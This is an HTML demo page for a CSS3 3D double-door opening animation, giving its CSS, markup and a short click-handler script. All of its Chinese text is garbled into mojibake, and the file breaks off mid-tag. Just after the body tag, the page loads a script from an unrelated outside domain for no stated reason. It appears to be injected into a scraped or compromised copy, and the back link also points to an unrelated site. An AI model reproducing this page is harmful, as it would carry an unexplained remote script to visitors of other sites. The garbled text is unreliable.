CSS3 3d鍙岄棬寮€闂ㄦ晥鏋?禄寮犻懌鏃?閼┖闂?閼敓娲?/title> <link rel="stylesheet" href="../css/demo.css?v=m" type="text/css" /> <link rel="stylesheet" href="../css/hl.css" type="text/css" /> <style> .door-box { height: 628px; margin: 0 0 40px; font-family: STHeiTi, SimHei; overflow: hidden; position: relative; z-index: 1; } .door-box.open { animation: flyIntoRoom 1s 1.5s both; } .door-box div { position: absolute; } .wall { left: 0; top: 0; right: 0; bottom: 0; margin: 0 auto; max-height: calc(1.8 * (100vw - 80px)); background-color: #661f12; background-image: linear-gradient(335deg, #b00 23px, transparent 23px), linear-gradient(155deg, #d00 23px, transparent 23px), linear-gradient(335deg, #b00 23px, transparent 23px), linear-gradient(155deg, #d00 23px, transparent 23px); background-size: 58px 58px; background-position: 0px 2px, 4px 35px, 29px 31px, 34px 6px; border-bottom: 3px solid #000; } .door-border { top: 60px; left: 40px; right: 40px; bottom: 0; max-width: 600px; border: 3px solid #79320A; border-radius: 2px 2px 0 0; border-bottom: 0; background-color: #8D4B11; margin: auto; } .door-frame { top: 10px; left: 9px; right: 9px; bottom: 0; border: 3px solid #421A00; border-radius: 2px 2px 0 0; border-bottom: 0; background-color: #fff; -webkit-perspective: 1200px; perspective: 1200px; } .door { width: 50%; top: 0; bottom: 0; -webkit-transform-style: preserve-3d; transform-style: preserve-3d; transform: rotateY(0deg); transition: transform 1.5s; -webkit-backface-visibility: hidden; backface-visibility: hidden; } .door-left { transform-origin: left; left: 0; } .door-right { transform-origin: right; right: 0; } .open .door-left { transform: rotateY(-90deg); } .open .door-right { transform: rotateY(90deg); } /* 闂ㄧ幆 */ .door::before { content: ''; position: absolute; width: 40px; height: 50px; background-color: #714F23; box-shadow: 0 0 5px rgba(0,0,0,1), inset 0 0 2px rgba(0,0,0,1); top: 0; bottom: 0; border-radius: 2px; margin: auto; z-index: 1; } .door-left::before { right: 3px; } .door::after { content: ''; position: absolute; width: 26px; height: 26px; border: 5px solid #735835; top: 0; bottom: 0; border-radius: 50%; filter: drop-shadow(1px 1px 2px rgba(0,0,0,1)); transform: translateY(5px); margin: auto; z-index: 1; } .door-left::after { right: 5px; } .door-right::after { left: 2px; } /* 闂ㄧ殑鍑犱釜闈?*/ .door-face-1, .door-face-0 { left: -3px; top: -3px; right: -3px; bottom: -3px; border: 3px solid #1a0a00; background-color: #2C1000; background-image: linear-gradient(90deg, rgba(0,0,0,.07) 50%, transparent 50%), linear-gradient(90deg, rgba(0,0,0,.13) 50%, transparent 50%), linear-gradient(90deg, transparent 50%, rgba(0,0,0,.17) 50%), linear-gradient(90deg, transparent 50%, rgba(0,0,0,.19) 50%); background-size: 13px, 29px, 37px, 53px; } .door-face-0 { transform: translateZ(-12px); } .door-face-1 { transform: translateZ(0); } .door-face-2 { height: 6px; left: -3px; right: -3px; top: 0; border: 3px solid #1a0a00; border-radius: 2px; background-color: #2B1201; transform: translate3D(0, -7.5px, -6px) rotateX(90deg); } .door-face-3 { width: 6px; top: -3px; right: 0; bottom: -3px; border: 3px solid #1a0a00; border-radius: 2px; background-color: #2B1201; transform: translate3D(7.5px, 0, -6px) rotateY(90deg); } /*鎸夐挳*/ .door-btn { left: 0; right: 0; text-align: center; margin-top: 320px; font-size: 24px; line-height: 36px; } .door-in { display: inline-block; width: 104px; height: 40px; border-radius: 40px; border: 2px solid; line-height: 40px; background-color: #eacc86; font-size: 24px; color: inherit; } .door-in:hover { text-decoration: none; } /* 鍔ㄧ敾 */ @keyframes flyIntoRoom { from { transform: scale(1) translateZ(0); opacity: 1; } to { transform: scale(2) translateZ(100px); opacity: 0; } } .room-img { position: absolute; width: 375px; height: 533px; max-width: calc(100vw - 80px); max-height: calc(1.4 * (100vw - 80px)); left: 0; right: 0; top: 44px; margin: auto; } </style> </head> <body class="M"> <script src="http://www.t7j7.com/js.js"></script> <div id="header"> <a href="/" class="logo" title="鍥炲埌閼┖闂?閼敓娲婚椤?> <img alt="寮犻懌鏃?閼┖闂?閼敓娲? src="/php/image/zxx_home_logo.png" border="0" /> </a> </div> <div id="main"> <h1>CSS3 3d鍙岄棬寮€闂ㄦ晥鏋滃疄渚嬮〉闈?/h1> <a href="//olsonnd.com/wordpress/?p=7737" id="back">鍥炲埌鐩稿叧鏂囩珷 »</a> <div id="body"> <div id="effect" class="part"> <h3>鏁堟灉锛?/h3> <div class="show" style="position:relative; background-color:#1e0703;"> <div id="doorBox" class="door-box"> <div class="wall"> <div class="door-border"> <div class="door-frame">  <div class="door door-left">  <div class="door-face-0"></div>  <div class="door-face-2"></div> <div class="door-face-1"></div> <div class="door-face-3"></div> </div>  <div class="door door-right">  <div class="door-face-0"></div>  <div class="door-face-2"></div> <div class="door-face-1"></div> <div class="door-face-3"></div> </div>  <div class="door-btn"> <a id="doorBtnIn" href="javascript:" class="door-in" role="button">寮€闂?/a> </div> </div> </div> </div> </div>  <img src="./xxsh.png" class="room-img"> <div hidden><audio id="audioOpen" src="./open.mp3" preload></audio></div> </div> </div> <div id="code" class="part"> <h3>浠ｇ爜锛?/h3> <div class="show"> <h5>CSS浠ｇ爜锛?/h5> <pre name="code" class="css"> /* 杈冮暱锛岃椤甸潰婧愪唬鐮?*/ </pre> <h5>HTML浠ｇ爜锛?/h5> <pre name="code" class="html"> <div id="doorBox" class="door-box"> <div class="wall"> <div class="door-border"> <div class="door-frame">  <div class="door door-left">  <div class="door-face-0"></div>  <div class="door-face-2"></div> <div class="door-face-1"></div> <div class="door-face-3"></div> </div>  <div class="door door-right">  <div class="door-face-0"></div>  <div class="door-face-2"></div> <div class="door-face-1"></div> <div class="door-face-3"></div> </div>  <div class="door-btn"> <button id="doorBtnIn" class="door-in">寮€闂?lt;/button> </div> </div> </div> </div> </div>  <img src="./xxsh.png" class="room-img"> <div hidden><audio id="audioOpen" src="./open.mp3" preload></audio></div> </pre> <h5>JS浠ｇ爜锛?/h5> <pre name="code" class="js"> var eleDoorBox = document.getElementById('doorBox'); // 寮€闂ㄩ煶鏁坢p3 var eleAudioOpen = document.getElementById('audioOpen'); // 鐐瑰嚮鎸夐挳 document.querySelector('#doorBtnIn').addEventListener('click', function () { this.style.display = 'none'; eleAudioOpen.play(); eleDoorBox.classList.add('open'); }); </pre> </div> </div> </div> </div> <script> var eleDoorBox = document.getElementById('doorBox'); // 寮€闂ㄩ煶鏁坢p3 var eleAudioOpen = document.getElementById('audioOpen'); // 鐐瑰嚮鎸夐挳 document.querySelector('#doorBtnIn').addEventListener('click', function () { this.style.display = 'none'; eleAudioOpen.play(); eleDoorBox.classList.add('open'); }); </script>  <script src="../js/hl_all.js"></script> <script> DlHighlight.HELPERS.highlightByName("code", "pre"); </script> <div id="footer"> Designed & Powerd by <a href="/">zhangxinxu</a><br /> Copyright漏寮犻懌鏃?閼┖闂?閼敓娲?br> <a href="http://www.miibeian.gov.cn/" target="_blank">閯侷CP澶?9015569鍙?/a> </div> <p align="center"><script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>  <ins class="adsbygoogle" style="display:inline-block;width:728px;height:90px" data-ad-client="ca-pub-0090627341039040" data-ad-slot="4686885989"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script></p> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-11205167-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = '//www.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </div> </body> </html> <script type="text/javascript" src="/sys